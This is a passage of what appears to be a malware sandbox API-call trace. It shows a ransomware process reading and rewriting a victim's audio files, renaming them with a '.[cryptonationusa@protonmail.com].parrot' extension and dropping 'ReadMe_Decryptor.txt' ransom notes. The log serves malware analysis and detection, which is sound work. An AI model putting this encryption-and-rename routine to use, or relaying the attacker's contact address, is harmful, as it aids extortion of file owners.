Size=0xf02a) returned 0x639220 [0092.649] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f70 | out: hHeap=0x5b0000) returned 1 [0092.649] WriteFile (in: hFile=0x1fc, lpBuffer=0x639240*, nNumberOfBytesToWrite=0xb748, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x639240*, lpNumberOfBytesWritten=0x18ebe4*=0xb748, lpOverlapped=0x0) returned 1 [0092.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0092.651] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb743, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.651] CloseHandle (hObject=0x1fc) returned 1 [0092.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x666178 [0092.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x136) returned 0x655920 [0092.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x666178 | out: hHeap=0x5b0000) returned 1 [0092.652] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\AFfPnIAskY8Q\\k_5l7ULNq7rs_g.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\affpniasky8q\\k_5l7ulnq7rs_g.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\AFfPnIAskY8Q\\k_5l7ULNq7rs_g.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\affpniasky8q\\k_5l7ulnq7rs_g.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x655920 | out: hHeap=0x5b0000) returned 1 [0092.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0092.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0092.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6ab108 [0092.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x666178 [0092.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0092.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0092.653] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\AFfPnIAskY8Q\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\affpniasky8q\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0092.654] GetFileType (hFile=0x1fc) returned 0x1 [0092.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x6572a0 [0092.665] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.666] ReadFile (in: hFile=0x1fc, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0092.666] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.667] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x17dab, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x17dab, lpOverlapped=0x0) returned 1 [0092.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0092.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0092.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0092.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6572a0 [0092.667] GetLastError () returned 0x0 [0092.671] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.671] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.671] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.671] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.671] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0092.671] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0092.671] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5d6758 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6758 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b680 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c100 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b680 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x655920 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x31793a8 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x655920 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3179590 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31793a8 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3179860 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179590 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x318a060 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179860 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x31793a8 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0092.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x318a060 [0092.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31793a8 | out: hHeap=0x5b0000) returned 1 [0092.673] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x6572a0 [0092.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0092.673] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x2242f30 [0092.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6572a0 | out: hHeap=0x5b0000) returned 1 [0092.673] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2244ef8 [0092.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0092.673] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x2247e90 [0092.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2244ef8 | out: hHeap=0x5b0000) returned 1 [0092.673] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x2272fb0 [0092.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2247e90 | out: hHeap=0x5b0000) returned 1 [0092.673] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x2279a90 [0092.674] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2272fb0 | out: hHeap=0x5b0000) returned 1 [0092.674] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x2242f30 [0092.674] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2279a90 | out: hHeap=0x5b0000) returned 1 [0092.674] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x639220 [0092.674] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0092.674] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x2272fb0 [0092.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0092.675] WriteFile (in: hFile=0x1fc, lpBuffer=0x2272fc0*, nNumberOfBytesToWrite=0x17ec8, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2272fc0*, lpNumberOfBytesWritten=0x18ebe4*=0x17ec8, lpOverlapped=0x0) returned 1 [0092.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2272fb0 | out: hHeap=0x5b0000) returned 1 [0092.677] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17ec3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.677] CloseHandle (hObject=0x1fc) returned 1 [0092.677] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x666178 [0092.677] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x136) returned 0x655920 [0092.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x666178 | out: hHeap=0x5b0000) returned 1 [0092.677] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\AFfPnIAskY8Q\\rDpcfQmTqFXwQlbp.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\affpniasky8q\\rdpcfqmtqfxwqlbp.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\AFfPnIAskY8Q\\rDpcfQmTqFXwQlbp.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\affpniasky8q\\rdpcfqmtqfxwqlbp.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x655920 | out: hHeap=0x5b0000) returned 1 [0092.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0092.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f70 | out: hHeap=0x5b0000) returned 1 [0092.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6ab108 [0092.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x666178 [0092.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0092.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0092.680] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.680] ReadFile (in: hFile=0x1fc, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0092.681] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.681] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1019b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x1019b, lpOverlapped=0x0) returned 1 [0092.681] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.681] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.681] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0092.681] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0092.682] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0092.682] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6572a0 [0092.682] GetLastError () returned 0x0 [0092.686] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0092.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0092.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0092.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0092.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0092.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0092.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0092.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0092.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0092.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0092.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5d6758 [0092.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0092.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0092.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6758 | out: hHeap=0x5b0000) returned 1 [0092.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0092.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0092.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b680 [0092.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0092.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c100 [0092.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b680 | out: hHeap=0x5b0000) returned 1 [0092.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0092.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0092.687] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x655920 [0092.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0092.687] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x31793a8 [0092.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x655920 | out: hHeap=0x5b0000) returned 1 [0092.687] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3179590 [0092.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31793a8 | out: hHeap=0x5b0000) returned 1 [0092.687] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3179860 [0092.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179590 | out: hHeap=0x5b0000) returned 1 [0092.687] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x318a060 [0092.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179860 | out: hHeap=0x5b0000) returned 1 [0092.687] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x31793a8 [0092.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0092.687] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x318a060 [0092.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31793a8 | out: hHeap=0x5b0000) returned 1 [0092.687] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x6572a0 [0092.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0092.687] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x2242f30 [0092.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6572a0 | out: hHeap=0x5b0000) returned 1 [0092.687] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2244ef8 [0092.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0092.687] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x2247e90 [0092.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2244ef8 | out: hHeap=0x5b0000) returned 1 [0092.687] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x639220 [0092.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2247e90 | out: hHeap=0x5b0000) returned 1 [0092.688] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x2242f30 [0092.688] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0092.688] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x639220 [0092.688] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0092.688] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x2272fb0 [0092.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0092.689] WriteFile (in: hFile=0x1fc, lpBuffer=0x2272fc0*, nNumberOfBytesToWrite=0x102b8, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2272fc0*, lpNumberOfBytesWritten=0x18ebe4*=0x102b8, lpOverlapped=0x0) returned 1 [0092.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2272fb0 | out: hHeap=0x5b0000) returned 1 [0092.690] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x102b3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.690] CloseHandle (hObject=0x1fc) returned 1 [0092.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x666178 [0092.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x136) returned 0x655920 [0092.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x666178 | out: hHeap=0x5b0000) returned 1 [0092.690] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\AFfPnIAskY8Q\\UyLi-EDer03Na1.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\affpniasky8q\\uyli-eder03na1.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\AFfPnIAskY8Q\\UyLi-EDer03Na1.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\affpniasky8q\\uyli-eder03na1.m4a.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x655920 | out: hHeap=0x5b0000) returned 1 [0092.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0092.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f70 | out: hHeap=0x5b0000) returned 1 [0092.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6ab108 [0092.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x666178 [0092.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0092.691] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0092.695] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\AFfPnIAskY8Q\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0092.695] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x836d9fe0, ftCreationTime.dwHighDateTime=0x1d5c01a, ftLastAccessTime.dwLowDateTime=0xc48fa060, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc48fa060, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.696] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x792ffbc0, ftCreationTime.dwHighDateTime=0x1d5bce8, ftLastAccessTime.dwLowDateTime=0x16787360, ftLastAccessTime.dwHighDateTime=0x1d5c281, ftLastWriteTime.dwLowDateTime=0xc4861ae0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xbb08, dwReserved0=0x0, dwReserved1=0x0, cFileName="E7WgT 88Xz.wav.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="E7WGT8~1.PAR")) returned 1 [0092.696] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0092.696] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0092.697] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.697] ReadFile (in: hFile=0x264, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, 